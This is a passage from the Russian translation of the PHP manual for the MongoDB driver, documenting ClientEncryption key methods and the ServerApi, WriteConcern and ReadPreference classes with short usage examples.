  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException в случае возникновения прочих ошибок.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет альтернативное имя из документа с ключом

  • « MongoDB\Driver\ClientEncryption::getKeys
  • MongoDB\Driver\ClientEncryption::rewrapManyDataKey »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Удаляет альтернативное имя из документа с ключом

MongoDB\Driver\ClientEncryption::removeKeyAltName

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::removeKeyAltName — Удаляет альтернативное имя из документа с ключом

Описание

final public MongoDB\Driver\ClientEncryption::removeKeyAltName(MongoDB\BSON\Binary $keyId, string $keyAltName): ?object

Удаляет параметр keyAltName из набора альтернативных имён для документа с ключом с заданным UUID keyId.

Список параметров

keyId

Экземпляр MongoDB\BSON\Binary с подтипом 4 (UUID), идентифицирующий документ с ключом.

keyAltName

Альтернативное имя для удаления из документа с ключом.

Возвращаемые значения

Возвращает предыдущую версию документа с ключом или null, если ни один документ не совпадает.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException в случае возникновения прочих ошибок.

Смотрите также

  • MongoDB\Driver\ClientEncryption::addKeyAltName() - Добавляет альтернативное имя к документу с ключом
  • MongoDB\Driver\ClientEncryption::getKeyByAltName() - Получает документ с ключом по альтернативному имени

User Contributed Notes

There are no user contributed notes for this page.


Переворачивает ключи данных

  • « MongoDB\Driver\ClientEncryption::removeKeyAltName
  • MongoDB\Driver\ServerApi »
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Переворачивает ключи данных

MongoDB\Driver\ClientEncryption::rewrapManyDataKey

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::rewrapManyDataKey — Переворачивает ключи данных

Описание

final public MongoDB\Driver\ClientEncryption::rewrapManyDataKey(array|object $filter, ?array $options = null): object

Переворачивает (т.е. расшифровывает и заново шифрует) ноль или более ключей данных в коллекции хранилища ключей, которые соответствуют заданному фильтру (filter).

Если опция "provider" не указана, совпадающие ключи данных будут повторно зашифрованы с помощью текущего поставщика KMS. В противном случае совпадающие ключи данных будут зашифрованы заново в соответствии с указанными опциями "provider" и "masterKey".

Список параметров

filter (array|object)

» Предикат запроса. Пустой предикат совпадёт со всеми элементами коллекции.

Замечание: При вычислении критериев запроса, MongoDB сравнивает типы и значения в соответствии с собственными » правилами сравнения типов BSON, отличных от правил сравнения и приведения типов PHP. Когда используется специальный тип BSON, критерия запроса должна соответствовать классу BSON (т.е. использовать MongoDB\BSON\ObjectId для выборке по » ObjectId).

options

Параметры RewrapManyDataKey
Параметр Тип Описание
provider string

KMS-провайдер (например, "local", "aws"), который будет использоваться для повторного шифрования совпавших ключей данных.

Если провайдер KMS не указан, то совпадающие ключи данных будут повторно зашифрованы с помощью текущего провайдера KMS.

masterKey array

Параметр masterKey определяет специфический для KMS ключ, используемый для шифрования нового ключа данных. Параметр не должен указываться без параметра "provider". Параметр необходим, если указан "provider", а не "local".

Параметры провайдера "aws"
Параметр | Тип | Описание
region | Строка | Обязательный.
key | Строка | Обязательный. Имя ресурса Amazon (ARN) для главного ключа клиента AWS (CMK).
endpoint | Строка | Необязательный. Альтернативный идентификатор хоста для отправки запросов KMS. Может содержать номер порта.

Параметры провайдера "azure"
Параметр | Тип | Описание
keyVaultEndpoint | Строка | Обязательный. Хост с необязательным портом (например, "example.vault.azure.net").
keyName | Строка | Обязательный.
keyVersion | Строка | Необязательный. Определённая версия именованного ключа. По умолчанию используется первичная версия ключа.

Параметры провайдера "gcp"
Параметр | Тип | Описание
projectId | Строка | Обязательный.
location | Строка | Обязательный.
keyRing | Строка | Обязательный.
keyName | Строка | Обязательный.
keyVersion | Строка | Необязательный. Определённая версия именованного ключа. По умолчанию используется первичная версия ключа.
endpoint | Строка | Необязательный. Хост с дополнительным портом. По умолчанию "cloudkms.googleapis.com"..

Параметры провайдера "kmip"
Параметр | Тип | Описание
keyId | Строка | Необязательный. Уникальный идентификатор 96-байтового управляемого объекта секретных данных KMIP. Если не указан, драйвер создаёт случайный 96-байтовый управляемый объект секретных данных KMIP.
endpoint | Строка | Необязательный. Хост с дополнительным портом.

Возвращаемые значения

Возвращает объект, у которого будет необязательное свойство bulkWriteResult, содержащее результат внутренней операции bulkWrite в виде объекта. Если ни один ключ данных не соответствует фильтру или запись не была признана, свойство bulkWriteResult будет равно null.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\EncryptionException, если при расшифровке или повторном шифровании ключа данных произошла ошибка.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException в случае возникновения прочих ошибок.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\ServerApi

(mongodb >=1.10.0)

Введение

Обзор классов

final class MongoDB\Driver\ServerApi implements MongoDB\BSON\Serializable, Serializable {
/* Константы */
const string MongoDB\Driver\ServerAPI::V1 = "1";
/* Методы */
final public bsonSerialize(): stdClass
final public __construct(string $version, ?bool $strict = null, ?bool $deprecationErrors = null)
final public serialize(): string
final public unserialize(string $data): void
}

Предопределённые константы

MongoDB\Driver\ServerApi::V1

Server API версия 1.

Примеры

Пример #1 Пример объявления версии API в диспетчере

<?php

use MongoDB\Driver\Manager;
use MongoDB\Driver\ServerApi;

$v1 = new ServerApi(ServerApi::v1);
$manager = new Manager('mongodb://localhost:27017', [], ['serverApi' => $v1]);

$command = new MongoDB\Driver\Command(['buildInfo' => 1]);

try {
$cursor = $manager->executeCommand('admin', $command);
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}

/* Команда buildInfo возвращает единственный документ результата, поэтому нам нужно получить доступ
* к первому результату в курсоре. */
$buildInfo = $cursor->toArray()[0];

echo $buildInfo->version, "\n";

?>

Результат выполнения данного примера:

4.9.0-alpha7-49-gb968ca0

Пример #2 Пример объявления строгой версии API для менеджера

В следующем примере устанавливается флаг strict, который сообщает серверу отклонить любую команду, не являющуюся частью объявленной версии API. Это приводит к ошибке при выполнении команды buildInfo.

<?php

use MongoDB\Driver\Manager;
use MongoDB\Driver\ServerApi;

$v1 = new ServerApi(ServerApi::v1, true);
$manager = new Manager('mongodb://localhost:27017', [], ['serverApi' => $v1]);

$command = new MongoDB\Driver\Command(['buildInfo' => 1]);

try {
$cursor = $manager->executeCommand('admin', $command);
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}

/* Команда buildInfo возвращает единственный документ результата, поэтому нам нужно получить доступ
* к первому результату в курсоре. */
$buildInfo = $cursor->toArray()[0];

echo $buildInfo->version, "\n";

?>

Результат выполнения данного примера:

Provided apiStrict:true, but the command buildInfo is not in API Version 1

Содержание

  • MongoDB\Driver\ServerApi::bsonSerialize — Возвращает объект для сериализации BSON
  • MongoDB\Driver\ServerApi::__construct — Создаёт новый экземпляр ServerApi
  • MongoDB\Driver\ServerApi::serialize — Сериализует ServerApi
  • MongoDB\Driver\ServerApi::unserialize — Десериализует ServerApi

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект для сериализации BSON

  • « MongoDB\Driver\ServerApi
  • MongoDB\Driver\ServerApi::__construct »
  • PHP Manual
  • MongoDB\Driver\ServerApi
  • Возвращает объект для сериализации BSON

MongoDB\Driver\ServerApi::bsonSerialize

(mongodb >=1.10.0)

MongoDB\Driver\ServerApi::bsonSerialize — Возвращает объект для сериализации BSON

Описание

final public MongoDB\Driver\ServerApi::bsonSerialize(): stdClass

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект для сериализации ServerApi как BSON.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Serializable::bsonSerialize() - Предоставляет массив или документ для сериализации в BSON

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр ServerApi

  • « MongoDB\Driver\ServerApi::bsonSerialize
  • MongoDB\Driver\ServerApi::serialize »
  • PHP Manual
  • MongoDB\Driver\ServerApi
  • Создаёт новый экземпляр ServerApi

MongoDB\Driver\ServerApi::__construct

(mongodb >=1.10.0)

MongoDB\Driver\ServerApi::__construct — Создаёт новый экземпляр ServerApi

Описание

final public MongoDB\Driver\ServerApi::__construct(string $version, ?bool $strict = null, ?bool $deprecationErrors = null)

Создаёт новый экземпляр MongoDB\Driver\ServerApi экземпляр, используемый для объявления версии API при создании MongoDB\Driver\Manager.

Список параметров

version

Версия API сервера.

Поддерживаемые версии API представлены в виде констант в MongoDB\Driver\ServerApi. Единственной поддерживаемой версией API является MongoDB\Driver\ServerApi::V1.

strict

Если у параметра strict установлено значение true, сервер будет выдавать ошибку для любой команды, которая не является частью указанной версии API. Если значение не указано, используется значение по умолчанию (false).

deprecationErrors

Если у параметра deprecationErrors установлено значение true, сервер будет выдавать ошибку при использовании команды, которая устарела в указанной версии API. Если значение не задано, используется значение по умолчанию (false).

User Contributed Notes

There are no user contributed notes for this page.


Сериализует ServerApi

  • « MongoDB\Driver\ServerApi::__construct
  • MongoDB\Driver\ServerApi::unserialize »
  • PHP Manual
  • MongoDB\Driver\ServerApi
  • Сериализует ServerApi

MongoDB\Driver\ServerApi::serialize

(mongodb >=1.10.0)

MongoDB\Driver\ServerApi::serialize — Сериализует ServerApi

Описание

final public MongoDB\Driver\ServerApi::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\Driver\ServerApi.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\ServerApi::unserialize() - Десериализует ServerApi
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Десериализует ServerApi

  • « MongoDB\Driver\ServerApi::serialize
  • MongoDB\Driver\WriteConcern »
  • PHP Manual
  • MongoDB\Driver\ServerApi
  • Десериализует ServerApi

MongoDB\Driver\ServerApi::unserialize

(mongodb >=1.10.0)

MongoDB\Driver\ServerApi::unserialize — Десериализует ServerApi

Описание

final public MongoDB\Driver\ServerApi::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\Driver\ServerApi.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть десериализованы (например, serialized был некорректно сформирован).
  • Выбрасывает MongoDB\Driver\Exception\InvalidArgumentException, если свойства некорректны (например, отсутствуют поля или содержатся недопустимые значения).

Смотрите также

  • MongoDB\Driver\ServerApi::serialize() - Сериализует ServerApi
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\WriteConcern

(mongodb >=1.0.0)

Введение

MongoDB\Driver\WriteConcern описывает уровень надёжности, запрошенный MongoDB для операций записи на автономный mongod или на набор реплик или на сегментированные кластеры. В сегментированных кластерах экземпляры mongos будут передавать гарантии записи на сегменты.

Обзор классов

final class MongoDB\Driver\WriteConcern implements MongoDB\BSON\Serializable, Serializable {
/* Константы */
const string MAJORITY = "majority";
/* Методы */
final public bsonSerialize(): stdClass
final public __construct(string|int $w, ?int $wtimeout = null, ?bool $journal = null)
final public getJournal(): ?bool
final public getW(): string|int|null
final public getWtimeout(): int
final public isDefault(): bool
final public serialize(): string
final public unserialize(string $data): void
}

Предопределённые константы

MongoDB\Driver\WriteConcern::MAJORITY

Большинство членов в наборе; арбитров, члены, не участвующие в голосовании, пассивные члены, скрытые члены и отложенные члены, все они включены в определение большинства гарантии записи.

Список изменений

Версия | Описание
PECL mongodb 1.7.0 | Реализует Serializable.
PECL mongodb 1.2.0 | Реализует MongoDB\BSON\Serializable.

Содержание

  • MongoDB\Driver\WriteConcern::bsonSerialize — Возвращает объект сериализации BSON
  • MongoDB\Driver\WriteConcern::__construct — Создать новый WriteConcern
  • MongoDB\Driver\WriteConcern::getJournal — Возвращает опцию "journal" WriteConcern
  • MongoDB\Driver\WriteConcern::getW — Возвращает опцию "w" WriteConcern
  • MongoDB\Driver\WriteConcern::getWtimeout — Возвращает опцию "wtimeout" WriteConcern
  • MongoDB\Driver\WriteConcern::isDefault — Проверяет, является ли гарантия записи по умолчанию
  • MongoDB\Driver\WriteConcern::serialize — Сериализация WriteConcern
  • MongoDB\Driver\WriteConcern::unserialize — Десериализация WriteConcern

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект сериализации BSON

  • « MongoDB\Driver\WriteConcern
  • MongoDB\Driver\WriteConcern::__construct »
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Возвращает объект сериализации BSON

MongoDB\Driver\WriteConcern::bsonSerialize

(mongodb >=1.2.0)

MongoDB\Driver\WriteConcern::bsonSerialize — Возвращает объект сериализации BSON

Описание

final public MongoDB\Driver\WriteConcern::bsonSerialize(): stdClass

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект сериализации WriteConcern как BSON.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 MongoDB\Driver\WriteConcern::bsonSerialize() с большинством гарантии записи

<?php

$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY);
var_dump($wc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($wc));

?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#2 (1) {
  ["w"]=>
  string(8) "majority"
}

{ "w" : "majority" }

Пример #2 MongoDB\Driver\WriteConcern::bsonSerialize() со временем ожидания и журналом

<?php

$wc = new MongoDB\Driver\WriteConcern(2, 1000, true);
var_dump($wc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($wc));

?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#2 (3) {
  ["w"]=>
  int(2)
  ["j"]=>
  bool(true)
  ["wtimeout"]=>
  int(1000)
}

{ "w" : 2, "j" : true, "wtimeout" : 1000 }

Смотрите также

  • MongoDB\BSON\Serializable::bsonSerialize() - Предоставляет массив или документ для сериализации в BSON
  • » Справочная информация по гарантии записи

User Contributed Notes

There are no user contributed notes for this page.


Создать новый WriteConcern

  • « MongoDB\Driver\WriteConcern::bsonSerialize
  • MongoDB\Driver\WriteConcern::getJournal »
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Создать новый WriteConcern

MongoDB\Driver\WriteConcern::__construct

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::__construct — Создать новый WriteConcern

Описание

final public MongoDB\Driver\WriteConcern::__construct(string|int $w, ?int $wtimeout = null, ?bool $journal = null)

Создаёт новый MongoDB\Driver\WriteConcern, который является неизменяемым объектом значения.

Список параметров

w

Гарантия записи
Значение | Описание
1 | Требует подтверждение, что операция записи распространилась на автономный mongod или на первичный в наборе реплик. Это гарантия записи по умолчанию для MongoDB.
0 | Не требует подтверждение операции записи. Тем не менее, это может вернуть информацию о исключениях сокета и сетевых ошибках в приложение.
<целое число больше 1> | Числа, превышающие 1 действительны только для набора реплик для запроса подтверждения от указанного количества членов, включая первичный.
MongoDB\Driver\WriteConcern::MAJORITY

Требует подтверждения того, что операции записи распространяются на большинство голосующих узлов, включая первичный, и были записаны в журнал на диск для этих узлов.

До MongoDB 3.0 это относится к большинству членов набора реплик (а не только к узлам голосования).

string | Строковое представление интерпретируется как набор тегов. Требует подтверждение, что операция записи распространяется на член набора реплик с указанным тегом.

wtimeout

Сколько ждать (в миллисекундах) ответа от вторичных узлов перед тем, как выдать ошибку.

wtimeout приводит к тому, что операции записи возвращаются с ошибкой (WriteConcernError) после указанного периода, даже если требуемая гарантия записи в конечном счёте будет успешной. Когда эти гарантии записи возвращаются, MongoDB не отменяет успешные изменения данных, выполненные до того, как гарантия записи превысила временной лимит wtimeout

Если указано, wtimeout должен быть 64-битным целым числом со знаком, больше или равен нулю.

Время ожидания гарантии записи
Значение | Описание
0 | Блокировать бесконечно. Это значение по умолчанию.
<целое число больше, чем 0> | Миллисекунды до ожидания возврата.

journal

Ожидать, пока mongod не применит запись в журнал.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неверном w или отрицательном wtimeout или если они больше, чем 32-битное целое число со знаком, выбрасывает MongoDB\Driver\Exception\InvalidArgumentException

Список изменений

Версия | Описание
PECL mongodb 1.7.0 | Параметр wTimeout теперь принимает 64-битные значения.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteConcern::__construct()

<?php

/* Запрос подтверждения записи от большинства узлов набора реплик */
$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 500);

/* Запрос подтверждения записи от узла, настроенного с тегом "MultipleDC" */
$wc = new MongoDB\Driver\WriteConcern("MultipleDC", 500);

?>

Смотрите также

  • » Справочная информация по гарантии записи

User Contributed Notes

There are no user contributed notes for this page.


Возвращает опцию "journal" WriteConcern

  • « MongoDB\Driver\WriteConcern::__construct
  • MongoDB\Driver\WriteConcern::getW »
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Возвращает опцию "journal" WriteConcern

MongoDB\Driver\WriteConcern::getJournal

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::getJournal — Возвращает опцию "journal" WriteConcern

Описание

final public MongoDB\Driver\WriteConcern::getJournal(): ?bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает опцию "journal" WriteConcern.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteConcern::getJournal()

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->getJournal());

$wc = new MongoDB\Driver\WriteConcern(1, 0, true);
var_dump($wc->getJournal());

$wc = new MongoDB\Driver\WriteConcern(1, 0, false);
var_dump($wc->getJournal());

?>

Результат выполнения данного примера:

NULL
bool(true)
bool(false)

Смотрите также

  • » Руководство по гарантии записи

User Contributed Notes

There are no user contributed notes for this page.


Возвращает опцию "w" WriteConcern

  • « MongoDB\Driver\WriteConcern::getJournal
  • MongoDB\Driver\WriteConcern::getWtimeout »
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Возвращает опцию "w" WriteConcern

MongoDB\Driver\WriteConcern::getW

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::getW — Возвращает опцию "w" WriteConcern

Описание

final public MongoDB\Driver\WriteConcern::getW(): string|int|null

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает опцию "w" WriteConcern.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteConcern::getW()

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->getW());

$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY);
var_dump($wc->getW());

?>

Результат выполнения данного примера:

int(1)
string(8) "majority"

Смотрите также

  • » Руководство по гарантии записи

User Contributed Notes

There are no user contributed notes for this page.


Возвращает опцию "wtimeout" WriteConcern

  • « MongoDB\Driver\WriteConcern::getW
  • MongoDB\Driver\WriteConcern::isDefault »
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Возвращает опцию "wtimeout" WriteConcern

MongoDB\Driver\WriteConcern::getWtimeout

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcern::getWtimeout — Возвращает опцию "wtimeout" WriteConcern

Описание

final public MongoDB\Driver\WriteConcern::getWtimeout(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает опцию "wtimeout" WriteConcern.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.7.0 | В 32-разрядных системах метод всегда будет усекать значение wTimeout, если оно выходит за пределы 32-битного диапазона. В этом случае будет выдано предупреждение.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteConcern::getWtimeout()

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->getWtimeout());

$wc = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 3000);
var_dump($wc->getWtimeout());

?>

Результат выполнения данного примера:

int(0)
int(3000)

Смотрите также

  • » Руководство по гарантии записи

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли гарантия записи по умолчанию

  • « MongoDB\Driver\WriteConcern::getWtimeout
  • MongoDB\Driver\WriteConcern::serialize »
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Проверяет, является ли гарантия записи по умолчанию

MongoDB\Driver\WriteConcern::isDefault

(mongodb >=1.3.0)

MongoDB\Driver\WriteConcern::isDefault — Проверяет, является ли гарантия записи по умолчанию

Описание

final public MongoDB\Driver\WriteConcern::isDefault(): bool

Проверяет, является ли эта гарантия записи по умолчанию (т.е. не указаны параметры). Этот метод в первую очередь предназначен для использования совместно с MongoDB\Driver\Manager::getWriteConcern() для определения того, был ли объект Manager создан без каких-либо опций гарантии записи.

Драйвер не будет включать гарантию записи по умолчанию в свои операции записи (например, MongoDB\Driver\Manager::executeBulkWrite()), чтобы позволить серверу применять свою собственную по умолчанию, которая, возможно, была » изменена. Библиотеки, которые обращаются к гарантии записи Manager, чтобы включить её в свои собственные команды записи, должны использовать этот метод, чтобы гарантировать, что гарантии записи по умолчанию остаются неустановленными.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если эта гарантия записи по умолчанию, или false в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteConcern::isDefault()

<?php

$wc = new MongoDB\Driver\WriteConcern(1);
var_dump($wc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/?w=majority');
$wc = $manager->getWriteConcern();
var_dump($wc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/');
$wc = $manager->getWriteConcern();
var_dump($wc->isDefault());

?>

Результат выполнения данного примера:

bool(false)
bool(false)
bool(true)

Смотрите также

  • MongoDB\Driver\Manager::getWriteConcern() - Возвращает WriteConcern для Manager
  • » Изменение гарантии записи по умолчанию в руководстве MongoDB
  • » Справочная информация по гарантии записи

User Contributed Notes

There are no user contributed notes for this page.


Сериализация WriteConcern

  • « MongoDB\Driver\WriteConcern::isDefault
  • MongoDB\Driver\WriteConcern::unserialize »
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Сериализация WriteConcern

MongoDB\Driver\WriteConcern::serialize

(mongodb >=1.7.0)

MongoDB\Driver\WriteConcern::serialize — Сериализация WriteConcern

Описание

final public MongoDB\Driver\WriteConcern::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\Driver\WriteConcern.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\WriteConcern::unserialize() - Десериализация WriteConcern
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Десериализация WriteConcern

  • « MongoDB\Driver\WriteConcern::serialize
  • MongoDB\Driver\ReadPreference »
  • PHP Manual
  • MongoDB\Driver\WriteConcern
  • Десериализация WriteConcern

MongoDB\Driver\WriteConcern::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\WriteConcern::unserialize — Десериализация WriteConcern

Описание

final public MongoDB\Driver\WriteConcern::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\Driver\WriteConcern.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Бросает исключение MongoDB\Driver\Exception\UnexpectedValueException если возникла невозможно произвести десериализацию свойства, например если значение serialized не корректно.
  • Бросает исключение MongoDB\Driver\Exception\InvalidArgumentException если свойства не корректны, например пропущены поля или они имеют некорректные значения.

Смотрите также

  • MongoDB\Driver\WriteConcern::serialize() - Сериализация WriteConcern
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\ReadPreference

(mongodb >=1.0.0)

Введение

Обзор классов

final class MongoDB\Driver\ReadPreference implements MongoDB\BSON\Serializable, Serializable {
/* Константы */
const int RP_PRIMARY = 1;
const int RP_PRIMARY_PREFERRED = 5;
const int RP_SECONDARY = 2;
const int RP_SECONDARY_PREFERRED = 6;
const int RP_NEAREST = 10;
const string PRIMARY = primary;
const string PRIMARY_PREFERRED = primaryPreferred;
const string SECONDARY = secondary;
const string SECONDARY_PREFERRED = secondaryPreferred;
const string NEAREST = nearest;
const int NO_MAX_STALENESS = -1;
const int SMALLEST_MAX_STALENESS_SECONDS = 90;
/* Методы */
final public bsonSerialize(): stdClass
final public __construct(string|int $mode, ?array $tagSets = null, ?array $options = null)
final public getHedge(): ?object
final public getMaxStalenessSeconds(): int
final public getMode(): int
final public getModeString(): string
final public getTagSets(): array
final public serialize(): string
final public unserialize(string $data): void
}

Предопределённые константы

MongoDB\Driver\ReadPreference::RP_PRIMARY

Все операции считываются из текущего первичного узла набора реплик. Это предпочтение чтения по умолчанию для MongoDB.

MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED

В большинстве ситуация операции считываются из первичного узла, но если он недоступен, операции считываются из вторичных членов.

MongoDB\Driver\ReadPreference::RP_SECONDARY

Все операции считываются из вторичных членов набора реплик.

MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED

В большинстве ситуация операции считываются из вторичных узлов, но если они недоступны, операции считываются из первичного узла.

MongoDB\Driver\ReadPreference::RP_NEAREST

Операции считываются из члена набора реплик с наименьшей задержкой сети, независимо от типа члена.

MongoDB\Driver\ReadPreference::PRIMARY

Все операции чтения из текущей реплики установлены первичными. Это предпочтение чтения по умолчанию для MongoDB.

MongoDB\Driver\ReadPreference::PRIMARY_PREFERRED

В большинстве случаев операции читаются из первичного узла, но если он недоступен, операции читаются с вторичных узлов.

MongoDB\Driver\ReadPreference::SECONDARY

Все операции читаются из вторичных узлов набора реплик.

MongoDB\Driver\ReadPreference::SECONDARY_PREFERRED

В большинстве случаев операции читаются из вторичных узлов, но если они недоступны, операции читаются с первичного.

MongoDB\Driver\ReadPreference::NEAREST

Операции считываются из узла набора реплик с наименьшей задержкой в сети, независимо от типа.

MongoDB\Driver\ReadPreference::NO_MAX_STALENESS

Значение по умолчанию для параметра "maxStalenessSeconds" чтобы указать на ограничение на максимальное запаздывание (staleness), что означает, что драйвер не будет учитывать задержку вторичных узлов при выборе направления для операции чтения.

MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS

Минимальное значение для параметра "maxStalenessSeconds" равно 90 секундам. Драйвер оценивает запаздывание (staleness) вторичных узлов, периодически проверяя последнюю дату записи каждого члена набора реплик. Поскольку эти проверки являются нечастыми, оценка запаздывания является грубой. Таким образом, драйвер не может обеспечить максимальную величину запаздывания менее 90 секунд.

Список изменений

Версия | Описание
PECL mongodb 1.7.0 | Добавлены константы MongoDB\Driver\ReadPreference::PRIMARY, MongoDB\Driver\ReadPreference::PRIMARY_PREFERRED, MongoDB\Driver\ReadPreference::SECONDARY, MongoDB\Driver\ReadPreference::SECONDARY_PREFERRED, MongoDB\Driver\ReadPreference::NEAREST. Реализует Serializable.
PECL mongodb 1.2.0 | Добавлены константы MongoDB\Driver\ReadPreference::NO_MAX_STALENESS и MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS. Реализует MongoDB\BSON\Serializable.

Содержание

  • MongoDB\Driver\ReadPreference::bsonSerialize — Возвращает объект сериализации BSON
  • MongoDB\Driver\ReadPreference::__construct — Создать новый ReadPreference
  • MongoDB\Driver\ReadPreference::getHedge — Возвращает опцию "hedge" из ReadPreference
  • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds — Возвращает параметр "maxStalenessSeconds" ReadPreference
  • MongoDB\Driver\ReadPreference::getMode — Возвращает параметр "mode" ReadPreference
  • MongoDB\Driver\ReadPreference::getModeString — Возвращает опцию "mode" объекта ReadPreference в виде строки
  • MongoDB\Driver\ReadPreference::getTagSets — Возвращает параметр "tagSets" ReadPreference
  • MongoDB\Driver\ReadPreference::serialize — Сериализация ReadPreference
  • MongoDB\Driver\ReadPreference::unserialize — Десериализация ReadPreference

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект сериализации BSON

  • « MongoDB\Driver\ReadPreference
  • MongoDB\Driver\ReadPreference::__construct »
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Возвращает объект сериализации BSON

MongoDB\Driver\ReadPreference::bsonSerialize

(mongodb >=1.2.0)

MongoDB\Driver\ReadPreference::bsonSerialize — Возвращает объект сериализации BSON

Описание

final public MongoDB\Driver\ReadPreference::bsonSerialize(): stdClass

Список параметров

